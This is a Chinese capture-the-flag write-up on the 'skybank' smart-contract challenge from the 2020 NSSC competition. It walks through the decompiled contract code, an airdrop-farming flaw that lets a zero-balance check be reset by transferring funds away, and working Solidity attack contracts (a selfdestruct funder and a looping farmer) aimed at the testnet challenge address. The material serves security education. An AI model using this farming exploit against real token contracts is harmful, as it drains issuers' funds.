零时科技丨CTF技能宝典之智能合约#薅羊毛漏洞

近年来,各个大型CTF(Capture The Flag,中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式)比赛中都有了区块链攻防的身影,而且...

前言

近年来,各个大型CTF(Capture The Flag,中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式)比赛中都有了区块链攻防的身影,而且出现的题目绝大多数都是区块链智能合约攻防。此系列文章我们主要以智能合约攻防为中心,来剖析智能合约攻防的要点,前两篇我们分享了合约反编译,反汇编的基础内容。后续的文章中,我们会继续分享CTF比赛中智能合约常见题型(重入,整数溢出,空投,随机数可控等)及解题思路,相信会给读者带来不一样的收获。

上篇文章中我们分享了CTF比赛中常考的整数溢出漏洞题型,其中用到了变量覆盖等多种攻击技巧,需要读者仔细推敲。本篇文章我们继续分享CTF比赛中的空投题型,也就是薅羊毛。在系列文章整数溢出题型中,也用到了空投,但只是调用一次空投达到触发其他漏洞的判断条件,并没有进行批量获取空投。

本篇我们以2020年NSSC CTF上skybank题目为例,分享智能合约薅羊毛的题型,该题型也是多次出现在CTF的赛场。相对于之前的系列文章内容,本篇薅羊毛题型更容易理解。

题目地址:https://ropsten.etherscan.io/address/0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273#code

题目分析

题目提示
  • 原始合约的opcode需进行反编译;
  • 空投及最终判断函数分别为gether()和ObtainFlag();
  • 触发ObtainFlag()函数事件event则攻击成功;
  • 需给合约提供资金。
合约源码

查看合约题目,合约存在0.62ether,没有给出合约源码,如下图:

合约.png

由于拿到题目后只有合约的opcode,所以需要进行逆向,这里我们推荐Online Solidity Decompiler在线网站(https://ethervm.io/decompile),具体逆向时的源码还原我们不再赘述,需要学习的同学可移步系列文章[反编译篇](http://mp.weixin.qq.com/s?__biz=MzU1OTc2MzE2Mg==&mid=2247485572&idx=1&sn=d3a985c38b531785127f9eb7920debab&chksm=fc131331cb649a274188e80f22b1ba5f81dbb5bc0a444ade4322c5c1fb96ebc469902b015c7f&scene=21#wechat_redirect),[反汇编篇](http://mp.weixin.qq.com/s?__biz=MzU1OTc2MzE2Mg==&mid=2247485578&idx=1&sn=6200ec07f9098d4e705f8740d0c5406d&chksm=fc13133fcb649a291181f993bbebbb5e45c28908a1a1462b0ca27c0f0f197a96865cb1034f66&scene=21#wechat_redirect)。

以下为逆向后的合约代码:

pragma solidity ^0.4.24;

contract skybank{

    mapping(address => uint) public balances;
    event sendflag(string base64email,string md5namectf);
    bytes20 addr = bytes20(msg.sender);

    function ObtainFlag(string base64email,string md5namectf){
        require(balances[msg.sender] >= 1000000000);
        emit sendflag(base64email,md5namectf);
    }

    function gether() public {
        require(balances[msg.sender] == 0);
        balances[msg.sender] += 10000000;
    }

    function Transfer(address to, uint bur) public {
        require(bur == balances[msg.sender]);
        balances[to] += bur;
        balances[msg.sender] -= bur;
    }
}
合约分析

先来看题目最终的判断函数ObtainFlag():

function ObtainFlag(string base64email,string md5namectf){
    require(balances[msg.sender] >= 1000000000);
    emit sendflag(base64email,md5namectf);
}

从该函数可以看出,obtainFlag()函数传入两个参数(base64email,md5namectf),函数第一行代码require(balances[msg.sender] >= 1000000000);会判断调用者地址余额是否大于等于1000000000 wei,如果满足该条件,则执行emit sendflag(base64email,md5namectf);代码,从题目可以得出,只要参赛者触发sendflag事件并将参数输出表示获取flag成功。

由于参赛者初始调用题目合约skybank时,调用地址在所属合约的资金为0,所以需要通过合约逻辑获取资金,继续来看获取空投函数gether():

function gether() public {
    require(balances[msg.sender] == 0);
    balances[msg.sender] += 10000000;
}

gether()函数中,第一句代码require(balances[msg.sender] == 0);判断当前调用者的地址是否为0,如果满足条件,则给该调用者加10000000 wei的资金,我们最终触发sendflag事件的ObtainFlag()函数中,需要1000000000 wei,所以只要调用gether超过100次就可以触发sendflag事件。

继续分析合约的转账函数Transfer():

function Transfer(address to, uint bur) public {
    require(bur == balances[msg.sender]);
    balances[to] += bur;
    balances[msg.sender] -= bur;
}

Transfer()函数中,首先第一行代码require(bur == balances[msg.sender]);判断传入的参数bur和目前调用者地址的余额是否相等,如果条件满足,将该余额转至传入的地址to中,之后将调用者地址的余额减掉。这里非常重要的一点是:转账之后的调用者地址余额再次变为0,也就是说我们可以重复该函数进行转账。

解题思路

通过以上skybank题目合约分析,可以总结出两种解题思路:

第一种:

  • 通过A地址调用gether()函数获取空投
  • 调用Transfer()函数将A地址余额转至B地址
  • 重新使用A地址调用gether()函数获取空投,并将余额转至B地址(不断循环)
  • 使用B地址调用ObtainFlag()并触发事件

第二种:

  • 使用多个地址调用gether()获取空投
  • 将获取空投汇聚至固定地址
  • 通过该固定地址调用ObtainFlag()并触发事件

攻击演示

我们进行第一种解题思路的攻击演示,使用Remix+MetaMask对攻击合约进行部署调用

1. 自毁给题目合约转币

由于题目合约的初始状态没有ether,故我们通过自毁函数,强行将ether转入题目合约地址,虽然当前题目合约有一定资金。为了攻击完整性,也演示一次自毁。

构造自毁合约:

pragma solidity ^0.4.24;

contract burn {

    function kill() public payable {
        selfdestruct(address(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273));
    }
}

部署burn合约,并利用kill()函数带入0.02Ether进行自毁,将Ether发送到题目合约地址。

自毁.png

2. 使用A地址部署最终调用者合约attacker2(合约地址D)

调用代码

pragma solidity ^0.4.24;

interface skybankInterface {

    function ObtainFlag(string base64email, string md5namectf);
}

contract attacker2 {

    skybankInterface constant private target = skybankInterface(0xE6BEBc078Bf01C06D80b39E0bb654F70C7B0C273);

    function exploit() {

        target.ObtainFlag("zxc", "000");
    }   
}

部署成功

21.png

3.使用B地址部署获取空投的合约attacker(合约地址E)

调用代码:Transfer传入的地址参数为D地址

pragma solidity ^0.4.24;

interface skybankInterface {
    function gether() external;
    function Transfer(address to, uint256 env) external;
}

contract attacker {

    skybankInterface constant private target = skybankInterface(0xe6bebc078bf01c06d80b39e0bb654f70c7b0c273);

    function exploit(uint256 len) public payable {

        for(uint256 i=0; i<len; i++){

            target.gether();
            target.Transfer(0xB8EBd7aaD718F65e61c0fC8359Dc5f9B5b85b067,10000000);

        }
    }
}

部署成功

32.png

调用exploit()函数并传入参数101,获取101次空投

33.png

获取空投成功

34.png

4.使用A地址调用D合约的exploit()函数

通过获取到的ether调用exploit()函数触发题目合约的sendflag事件

41.png

成功触发事件

42.png

至此,攻击完成

总结

本篇文章中,我们通过2020NSSC比赛中的skybank智能合约题目,详细分析了合约存在的薅羊毛漏洞问题,提供了解题思路并进行了攻击演示,相对于系列文章前几篇,本篇比较简单易懂,有兴趣的同学可以尝试复现。下一篇我们会继续分享CTF智能合约经典题目,请大家持续关注。

点赞 0
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
零时科技
零时科技
专注区块链生态安全